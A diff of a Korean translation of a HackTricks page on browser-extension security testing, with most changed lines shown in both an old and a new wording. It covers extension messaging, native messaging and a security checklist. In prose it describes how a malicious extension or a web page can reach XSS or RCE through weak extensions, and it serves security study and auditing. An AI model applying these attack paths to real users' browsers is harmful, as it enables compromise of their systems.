[**문서**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장 프로그램과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장 프로그램에 연결할 수 있는지를 선언합니다.
|
||||
[**문서**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)에 따르면, `"externally_connectable"` 매니페스트 속성은 **어떤 확장과 웹 페이지가** [runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect) 및 [runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)를 통해 귀하의 확장에 연결할 수 있는지를 선언합니다.
|
||||
|
||||
* **`externally_connectable`** 키가 귀하의 확장 프로그램의 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장 프로그램이 연결할 수 있지만, 웹 페이지는 연결할 수 없습니다**.
|
||||
* **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`와 같이, **오직 해당 애플리케이션만** 연결할 수 있습니다.
|
||||
* **`externally_connectable`** 키가 귀하의 확장 매니페스트에 **선언되지 않았거나** **`"ids": ["*"]`**로 선언된 경우, **모든 확장이 연결할 수 있지만, 웹 페이지는 연결할 수 없습니다**.
|
||||
* **특정 ID가 지정된 경우**, 예를 들어 `"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`, **오직 해당 애플리케이션만** 연결할 수 있습니다.
|
||||
* **matches**가 지정된 경우, 해당 웹 앱은 연결할 수 있습니다:
|
||||
```json
|
||||
"matches": [
|
||||
|
@ -375,14 +375,14 @@ chrome-extension://<extension-id>/message.html
|
|||
|
||||
따라서, 이는 **매우 강력한 우회**입니다.
|
||||
|
||||
게다가, 클라이언트가 악성 확장을 설치하면, 취약한 확장과 통신할 수 없더라도 **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 악용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
|
||||
게다가, 클라이언트가 악성 확장을 설치하면, 취약한 확장과 통신할 수 없더라도 **허용된 웹 페이지에 XSS 데이터를 주입**하거나 **`WebRequest`** 또는 **`DeclarativeNetRequest`** API를 남용하여 특정 도메인에서 요청을 조작하고 **JavaScript 파일**에 대한 페이지 요청을 변경할 수 있습니다. (대상 페이지의 CSP가 이러한 공격을 방지할 수 있습니다). 이 아이디어는 [**이 글**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)에서 나왔습니다.
|
||||
{% endhint %}
|
||||
|
||||
## 통신 요약
|
||||
|
||||
### 확장 <--> 웹앱
|
||||
|
||||
콘텐츠 스크립트와 웹 페이지 간의 통신에는 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, 콘텐츠 스크립트에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으며 (따라서 웹은 이를 예상해야 함) 웹이 새 스크립트를 로드하도록 만들 수도 있습니다.
|
||||
Content script와 웹 페이지 간의 통신에는 일반적으로 포스트 메시지가 사용됩니다. 따라서 웹 애플리케이션에서는 일반적으로 **`window.postMessage`** 함수 호출을 찾을 수 있으며, Content script에서는 **`window.addEventListener`**와 같은 리스너를 찾을 수 있습니다. 그러나 확장이 **Post Message를 보내 웹 애플리케이션과 통신**할 수도 있으며 (따라서 웹은 이를 예상해야 함) 웹이 새 스크립트를 로드하도록 만들 수도 있습니다.
|
||||
|
||||
### 확장 내부
|
||||
|
||||
|
@ -443,7 +443,7 @@ console.log('Received ' + response);
|
|||
```
|
||||
## Web **↔︎** Content Script Communication
|
||||
|
||||
**콘텐츠 스크립트**가 작동하는 환경과 호스트 페이지가 존재하는 환경은 **분리**되어 있어 **격리**를 보장합니다. 이러한 격리에도 불구하고 두 환경 모두 페이지의 **문서 객체 모델(DOM)**과 상호작용할 수 있는 능력을 가지고 있습니다. 호스트 페이지가 **콘텐츠 스크립트**와 통신하거나 콘텐츠 스크립트를 통해 확장과 간접적으로 통신하기 위해서는 두 당사자가 접근할 수 있는 **DOM**을 통신 채널로 활용해야 합니다.
|
||||
**콘텐츠 스크립트**가 작동하는 환경과 호스트 페이지가 존재하는 환경은 **분리**되어 있어 **격리**를 보장합니다. 이러한 격리에도 불구하고, 두 환경 모두 페이지의 **문서 객체 모델(DOM)**과 상호작용할 수 있는 능력을 가지고 있습니다. 호스트 페이지가 **콘텐츠 스크립트**와 통신하거나 콘텐츠 스크립트를 통해 확장과 간접적으로 통신하기 위해서는, 두 당사자가 접근할 수 있는 **DOM**을 통신 채널로 활용해야 합니다.
|
||||
|
||||
### Post Messages
|
||||
|
||||
|
@ -480,11 +480,11 @@ window.postMessage(
|
|||
|
||||
* **`event.isTrusted`**: 이 값은 이벤트가 사용자 행동에 의해 트리거된 경우에만 True입니다.
|
||||
* 콘텐츠 스크립트는 사용자가 특정 행동을 수행할 때만 메시지를 기대할 수 있습니다.
|
||||
* **origin domain**: 메시지를 기대할 수 있는 도메인의 허용 목록만 허용합니다.
|
||||
* **origin domain**: 메시지를 기대할 수 있는 도메인의 화이트리스트만 허용할 수 있습니다.
|
||||
* 정규 표현식을 사용하는 경우, 매우 주의해야 합니다.
|
||||
* **Source**: `received_message.source !== window`를 사용하여 메시지가 **콘텐츠 스크립트가 수신 대기 중인 동일한 창**에서 온 것인지 확인할 수 있습니다.
|
||||
|
||||
이전의 확인 사항이 수행되었더라도 취약할 수 있으므로 다음 페이지에서 **잠재적인 Post Message 우회**를 확인하십시오:
|
||||
이전의 확인 사항들은 수행되더라도 취약할 수 있으므로, 다음 페이지에서 **잠재적인 Post Message 우회**를 확인하십시오:
|
||||
|
||||
{% content-ref url="../postmessage-vulnerabilities/" %}
|
||||
[postmessage-vulnerabilities](../postmessage-vulnerabilities/)
|
||||
|
@ -500,9 +500,9 @@ window.postMessage(
|
|||
|
||||
### DOM
|
||||
|
||||
이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 **이 데이터를 수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**.
|
||||
이것은 "정확히" 통신 방법은 아니지만, **웹과 콘텐츠 스크립트는 웹 DOM에 접근할 수 있습니다**. 따라서 **콘텐츠 스크립트**가 그로부터 정보를 읽고 **웹 DOM을 신뢰하는 경우**, 웹은 이 데이터를 **수정할 수 있습니다** (웹을 신뢰해서는 안 되거나, 웹이 XSS에 취약하기 때문에) 그리고 **콘텐츠 스크립트를 손상시킬 수 있습니다**.
|
||||
|
||||
**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시**는 다음에서 찾을 수 있습니다:
|
||||
**브라우저 확장을 손상시키기 위한 DOM 기반 XSS의 예시**도 다음에서 찾을 수 있습니다:
|
||||
|
||||
{% content-ref url="browext-xss-example.md" %}
|
||||
[browext-xss-example.md](browext-xss-example.md)
|
||||
|
@ -532,7 +532,7 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
|
|||
console.log(response);
|
||||
})();
|
||||
```
|
||||
On the **receiving end**, you need to set up an [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **event listener** to handle the message. This looks the same from a content script or extension page.
|
||||
수신 측에서는 메시지를 처리하기 위해 [**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **이벤트 리스너**를 설정해야 합니다. 이는 콘텐츠 스크립트나 확장 페이지에서 동일하게 보입니다.
|
||||
```javascript
|
||||
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
|
||||
chrome.runtime.onMessage.addListener(
|
||||
|
@ -547,13 +547,13 @@ sendResponse({farewell: "goodbye"});
|
|||
```
|
||||
예제에서 강조된 바와 같이, **`sendResponse()`**는 동기 방식으로 실행되었습니다. `sendResponse()`의 비동기 실행을 위해 `onMessage` 이벤트 핸들러를 수정하려면 `return true;`를 포함하는 것이 필수적입니다.
|
||||
|
||||
중요한 고려 사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서 **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 것입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다.
|
||||
중요한 고려사항은 여러 페이지가 `onMessage` 이벤트를 수신하도록 설정된 시나리오에서, **특정 이벤트에 대해 `sendResponse()`를 실행하는 첫 번째 페이지**만이 응답을 효과적으로 전달할 수 있다는 점입니다. 동일한 이벤트에 대한 후속 응답은 고려되지 않습니다.
|
||||
|
||||
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거되면(가비지 수집됨), `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다.
|
||||
새로운 확장을 만들 때는 콜백보다 프로미스를 선호해야 합니다. 콜백 사용과 관련하여, `sendResponse()` 함수는 동기 컨텍스트 내에서 직접 실행되거나 이벤트 핸들러가 `true`를 반환하여 비동기 작업을 나타내는 경우에만 유효하다고 간주됩니다. 만약 어떤 핸들러도 `true`를 반환하지 않거나 `sendResponse()` 함수가 메모리에서 제거되면(가비지 컬렉션), `sendMessage()` 함수와 연결된 콜백이 기본적으로 트리거됩니다.
|
||||
|
||||
## 네이티브 메시징
|
||||
## Native Messaging
|
||||
|
||||
브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수** 있습니다. 애플리케이션은 이를 나타내는 json을 설치해야 하며, json은 다음과 같습니다:
|
||||
브라우저 확장은 **stdin을 통해 시스템의 바이너리와 통신할 수 있도록** 허용합니다. 애플리케이션은 이를 나타내는 json을 설치해야 하며, json 형식은 다음과 같습니다:
|
||||
```json
|
||||
{
|
||||
"name": "com.my_company.my_application",
|
||||
|
@ -563,7 +563,7 @@ sendResponse({farewell: "goodbye"});
|
|||
"allowed_origins": ["chrome-extension://knldjmfmopnpolahpmmgbagdohdnhkik/"]
|
||||
}
|
||||
```
|
||||
`name`은 브라우저 확장의 백그라운드 스크립트에서 애플리케이션과 통신하기 위해 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열입니다. `path`는 바이너리의 경로이며, 유효한 `type`은 stdio(표준 입력 및 표준 출력 사용) 하나뿐이고, `allowed_origins`는 이를 접근할 수 있는 확장을 나타냅니다(와일드카드를 사용할 수 없습니다).
|
||||
`name`은 브라우저 확장의 백그라운드 스크립트에서 애플리케이션과 통신하기 위해 [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) 또는 [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage)에 전달되는 문자열입니다. `path`는 바이너리의 경로이며, 유효한 `type`은 stdio(표준 입력 및 표준 출력 사용) 하나뿐이고, `allowed_origins`는 접근할 수 있는 확장을 나타냅니다(와일드카드를 사용할 수 없습니다).
|
||||
|
||||
Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux의 일부 경로에서 검색합니다(자세한 정보는 [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)에서 확인할 수 있습니다).
|
||||
|
||||
|
@ -571,7 +571,7 @@ Chrome/Chromium은 이 json을 일부 Windows 레지스트리와 macOS 및 Linux
|
|||
브라우저 확장은 이 통신을 사용하기 위해 `nativeMessaing` 권한을 선언해야 합니다.
|
||||
{% endhint %}
|
||||
|
||||
이것은 네이티브 애플리케이션에 메시지를 보내는 일부 백그라운드 스크립트 코드의 모습입니다:
|
||||
다음은 네이티브 애플리케이션에 메시지를 보내는 일부 백그라운드 스크립트 코드의 모습입니다:
|
||||
```javascript
|
||||
chrome.runtime.sendNativeMessage(
|
||||
'com.my_company.my_application',
|
||||
|
@ -588,7 +588,7 @@ In [**이 블로그 포스트**](https://spaceraccoon.dev/universal-code-executi
|
|||
3. 백그라운드 스크립트는 `sendNativeMessage`를 사용하여 네이티브 애플리케이션에 메시지를 전달합니다.
|
||||
4. 네이티브 애플리케이션은 메시지를 위험하게 처리하여 코드 실행으로 이어집니다.
|
||||
|
||||
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예시가 설명됩니다**.
|
||||
그리고 그 안에서 **브라우저 확장을 악용하여 어떤 페이지에서든 RCE로 가는 예제가 설명됩니다**.
|
||||
|
||||
## 메모리/코드/클립보드의 민감한 정보
|
||||
|
||||
|
@ -598,13 +598,13 @@ In [**이 블로그 포스트**](https://spaceraccoon.dev/universal-code-executi
|
|||
|
||||
물론, **코드에 민감한 정보를 넣지 마십시오**, 왜냐하면 이는 **공개**될 것이기 때문입니다.
|
||||
|
||||
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`**을 클릭한 후 **`Memory`** 섹션에서 **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
|
||||
브라우저에서 메모리를 덤프하려면 **프로세스 메모리를 덤프**하거나 브라우저 확장의 **설정**으로 가서 **`Inspect pop-up`** -> **`Memory`** 섹션 -> **`Take a snapshot`**을 클릭하고 **`CTRL+F`**를 사용하여 스냅샷 내에서 민감한 정보를 검색할 수 있습니다.
|
||||
|
||||
게다가, 니모닉 키나 비밀번호와 같은 매우 민감한 정보는 **클립보드에 복사되는 것을 허용해서는 안 됩니다** (또는 최소한 몇 초 후에 클립보드에서 제거해야 합니다) 왜냐하면 그러면 클립보드를 모니터링하는 프로세스가 이를 얻을 수 있기 때문입니다.
|
||||
|
||||
## 브라우저에 확장 프로그램 로드하기
|
||||
|
||||
1. **브라우저 확장 프로그램을 다운로드**하고 압축을 풉니다.
|
||||
1. 브라우저 확장 프로그램을 **다운로드**하고 압축을 풉니다.
|
||||
2. **`chrome://extensions/`**로 가서 `개발자 모드`를 **활성화**합니다.
|
||||
3. **`Load unpacked`** 버튼을 클릭합니다.
|
||||
|
||||
|
@ -612,7 +612,7 @@ In [**이 블로그 포스트**](https://spaceraccoon.dev/universal-code-executi
|
|||
|
||||
## 스토어에서 소스 코드 가져오기
|
||||
|
||||
Chrome 확장의 소스 코드는 다양한 방법으로 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
|
||||
Chrome 확장의 소스 코드는 다양한 방법을 통해 얻을 수 있습니다. 아래는 각 옵션에 대한 자세한 설명과 지침입니다.
|
||||
|
||||
### 명령줄을 통해 ZIP으로 확장 프로그램 다운로드
|
||||
|
||||
|
@ -637,7 +637,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||
|
||||
로컬에 설치된 Chrome 확장 프로그램도 검사할 수 있습니다. 방법은 다음과 같습니다:
|
||||
|
||||
1. `chrome://version/`를 방문하여 "Profile Path" 필드를 찾습니다.
|
||||
1. `chrome://version/`를 방문하여 "Profile Path" 필드를 찾아 Chrome 로컬 프로필 디렉토리에 접근합니다.
|
||||
2. 프로필 디렉토리 내의 `Extensions/` 하위 폴더로 이동합니다.
|
||||
3. 이 폴더에는 모든 설치된 확장 프로그램이 포함되어 있으며, 일반적으로 읽기 가능한 형식의 소스 코드가 있습니다.
|
||||
|
||||
|
@ -648,15 +648,15 @@ unzip -d "$extension_id-source" "$extension_id.zip"
|
|||
|
||||
### 파일 압축 해제기 또는 언팩커 사용
|
||||
|
||||
Chrome 웹 스토어로 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다.
|
||||
Chrome 웹 스토어에 가서 확장 프로그램을 다운로드합니다. 파일은 `.crx` 확장자를 가집니다. 파일 확장자를 `.crx`에서 `.zip`으로 변경합니다. WinRAR, 7-Zip 등과 같은 파일 압축 해제기를 사용하여 ZIP 파일의 내용을 추출합니다.
|
||||
|
||||
### Chrome에서 개발자 모드 사용
|
||||
|
||||
Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "개발자 모드"를 활성화합니다. "압축 해제된 확장 프로그램 로드..."를 클릭합니다. 확장 프로그램의 디렉토리로 이동합니다. 이는 소스 코드를 다운로드하지 않지만, 이미 다운로드되었거나 개발된 확장 프로그램의 코드를 보기 및 수정하는 데 유용합니다.
|
||||
Chrome을 열고 `chrome://extensions/`로 이동합니다. 오른쪽 상단에서 "개발자 모드"를 활성화합니다. "압축 해제된 확장 프로그램 로드..."를 클릭합니다. 확장 프로그램의 디렉토리로 이동합니다. 이는 소스 코드를 다운로드하지 않지만, 이미 다운로드되었거나 개발된 확장 프로그램의 코드를 보고 수정하는 데 유용합니다.
|
||||
|
||||
## Chrome 확장 프로그램 매니페스트 데이터셋
|
||||
|
||||
취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면:
|
||||
취약한 브라우저 확장 프로그램을 찾기 위해 [https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)를 사용하고 매니페스트 파일에서 잠재적으로 취약한 징후를 확인할 수 있습니다. 예를 들어, 25000명 이상의 사용자가 있는 확장 프로그램, `content_scripts` 및 권한 `nativeMessaging`을 확인하려면:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -673,17 +673,17 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||
* [ ] 가능한 한 **`host_permissions`**를 **제한**합니다.
|
||||
* [ ] **강력한** **`content_security_policy`**를 사용합니다.
|
||||
* [ ] 필요하지 않다면 가능한 한 **`externally_connectable`**을 **제한**합니다. 기본값으로 두지 말고 **`{}`**로 지정합니다.
|
||||
* [ ] 여기에서 **XSS 또는 takeover에 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
|
||||
* [ ] 여기에서 **XSS 또는 인수 취득에 취약한 URL**이 언급되면, 공격자는 **백그라운드 스크립트에 직접 메시지를 보낼 수 있습니다**. 매우 강력한 우회입니다.
|
||||
* [ ] 가능한 한 **`web_accessible_resources`**를 **제한**합니다. 가능하다면 비워두세요.
|
||||
* [ ] **`web_accessible_resources`**가 없지 않다면, [**ClickJacking**](browext-clickjacking.md)을 확인합니다.
|
||||
* [ ] **확장 프로그램**에서 **웹 페이지**로 **통신**이 발생하면, 통신으로 인해 발생한 [**XSS**](browext-xss-example.md) **취약점**을 확인합니다.
|
||||
* [ ] Post Messages가 사용되면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.**
|
||||
* [ ] **Content Script가 DOM 세부정보에 접근**하면, 웹에 의해 **수정**될 경우 **XSS를 도입하지 않는지** 확인합니다.
|
||||
* [ ] 이 통신이 **Content Script -> Background script 통신**에도 관련되어 있다면 특별히 강조합니다.
|
||||
* [ ] Post Messages가 사용된다면, [**Post Message 취약점**](../postmessage-vulnerabilities/)**을 확인합니다.**
|
||||
* [ ] **Content Script가 DOM 세부정보에 접근**하는 경우, 웹에 의해 **수정**될 경우 **XSS를 도입하지 않는지** 확인합니다.
|
||||
* [ ] 이 통신이 **Content Script -> Background script 통신**에 관련되어 있다면 특별히 강조합니다.
|
||||
* [ ] 백그라운드 스크립트가 **네이티브 메시징**을 통해 통신하는 경우, 통신이 안전하고 정제되었는지 확인합니다.
|
||||
* [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되지 않아야 합니다.
|
||||
* [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되지 않아야 합니다.
|
||||
* [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되지 않아야 합니다.**
|
||||
* [ ] **민감한 정보는** 브라우저 확장 프로그램 **코드** 내에 저장되어서는 안 됩니다.
|
||||
* [ ] **민감한 정보는** 브라우저 확장 프로그램 **메모리** 내에 저장되어서는 안 됩니다.
|
||||
* [ ] **민감한 정보는** **파일 시스템에 보호되지 않은 상태로 저장되어서는 안 됩니다.**
|
||||
|
||||
## 도구
|
||||
|
||||
|
@ -691,26 +691,26 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
|
|||
|
||||
* 제공된 Chrome 웹스토어 링크에서 Chrome 확장 프로그램을 가져옵니다.
|
||||
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **뷰어**: 확장 프로그램의 매니페스트를 JSON 형식으로 표시합니다.
|
||||
* **지문 분석**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 감지 및 Chrome 확장 프로그램 지문 생성을 자동으로 수행합니다.
|
||||
* **지문 분석**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 감지 및 Chrome 확장 프로그램 지문 생성 JavaScript 자동 생성.
|
||||
* **잠재적 Clickjacking 분석**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 지시어가 설정된 확장 프로그램 HTML 페이지 감지. 페이지의 목적에 따라 Clickjacking에 취약할 수 있습니다.
|
||||
* **권한 경고 뷰어**: 사용자가 확장 프로그램을 설치하려고 할 때 표시될 Chrome 권한 프롬프트 경고 목록을 보여줍니다.
|
||||
* **위험한 함수**: 공격자가 악용할 수 있는 위험한 함수의 위치를 보여줍니다 (예: innerHTML, chrome.tabs.executeScript와 같은 함수).
|
||||
* **진입점**: 확장 프로그램이 사용자/외부 입력을 받는 위치를 보여줍니다. 이는 확장 프로그램의 표면적을 이해하고 악의적으로 조작된 데이터를 확장 프로그램에 보낼 수 있는 잠재적 지점을 찾는 데 유용합니다.
|
||||
* 위험한 함수 및 진입점 스캐너는 생성된 경고에 대해 다음을 제공합니다:
|
||||
* 경고를 유발한 관련 코드 스니펫 및 줄.
|
||||
* 문제에 대한 설명.
|
||||
* 문제 설명.
|
||||
* 코드를 포함하는 전체 소스 파일을 보기 위한 “파일 보기” 버튼.
|
||||
* 경고된 파일의 경로.
|
||||
* 경고된 파일의 전체 Chrome 확장 프로그램 URI.
|
||||
* 파일의 유형 (예: 백그라운드 페이지 스크립트, 콘텐츠 스크립트, 브라우저 액션 등).
|
||||
* 경고된 파일의 전체 Chrome 확장 URI.
|
||||
* 파일 유형 (예: 백그라운드 페이지 스크립트, 콘텐츠 스크립트, 브라우저 액션 등).
|
||||
* 취약한 줄이 JavaScript 파일에 있는 경우, 포함된 모든 페이지의 경로와 이 페이지의 유형 및 [web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) 상태.
|
||||
* **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장 프로그램의 CSP의 약점을 지적하고 화이트리스트에 있는 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝혀냅니다.
|
||||
* **Content Security Policy (CSP) 분석기 및 우회 검사기**: 확장 프로그램의 CSP의 약점을 지적하고 화이트리스트에 있는 CDN 등으로 인해 CSP를 우회할 수 있는 잠재적 방법을 밝힙니다.
|
||||
* **알려진 취약한 라이브러리**: [Retire.js](https://retirejs.github.io/retire.js/)를 사용하여 알려진 취약한 JavaScript 라이브러리의 사용 여부를 확인합니다.
|
||||
* 확장 프로그램 및 포맷된 버전 다운로드.
|
||||
* 확장 프로그램 및 형식화된 버전 다운로드.
|
||||
* 원본 확장 프로그램 다운로드.
|
||||
* 확장 프로그램의 아름답게 포맷된 버전 다운로드 (자동으로 포맷된 HTML 및 JavaScript).
|
||||
* 스캔 결과의 자동 캐싱, 확장 프로그램 스캔을 처음 실행할 때는 시간이 걸리지만, 두 번째 실행 시 확장 프로그램이 업데이트되지 않았다면 거의 즉시 결과가 캐시됩니다.
|
||||
* 링크 가능한 보고서 URL, tarnish에 의해 생성된 확장 프로그램 보고서에 다른 사람을 쉽게 링크할 수 있습니다.
|
||||
* 확장 프로그램의 아름답게 정리된 버전 다운로드 (자동으로 정리된 HTML 및 JavaScript).
|
||||
* 스캔 결과의 자동 캐싱, 확장 프로그램 스캔을 처음 실행할 때는 상당한 시간이 소요됩니다. 그러나 두 번째 실행 시 확장 프로그램이 업데이트되지 않았다면 결과가 캐시되어 거의 즉시 실행됩니다.
|
||||
* 링크 가능한 보고서 URL, 다른 사람에게 tarnish에서 생성된 확장 프로그램 보고서에 쉽게 링크할 수 있습니다.
|
||||
|
||||
### [Neto](https://github.com/elevenpaths/neto)
|
||||
|
||||
|
@ -718,7 +718,7 @@ Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의
|
|||
|
||||
## 참고 문헌
|
||||
|
||||
* **이 방법론에 도움을 준** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다.**
|
||||
* **이 방법론에 대한 도움을 주신** [**@naivenom**](https://twitter.com/naivenom) **에게 감사드립니다.**
|
||||
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
|
||||
* [https://palant.info/2022/08/10/anatomy-of-a-basic-extension/](https://palant.info/2022/08/10/anatomy-of-a-basic-extension/)
|
||||
* [https://palant.info/2022/08/24/attack-surface-of-extension-pages/](https://palant.info/2022/08/24/attack-surface-of-extension-pages/)
|
||||
|
@ -730,16 +730,16 @@ Neto 프로젝트는 Firefox 및 Chrome과 같은 잘 알려진 브라우저의
|
|||
* [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter**에서 **팔로우**하세요 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# CSRF (크로스 사이트 요청 위조)
|
||||
|
||||
{% hint style="success" %}
|
||||
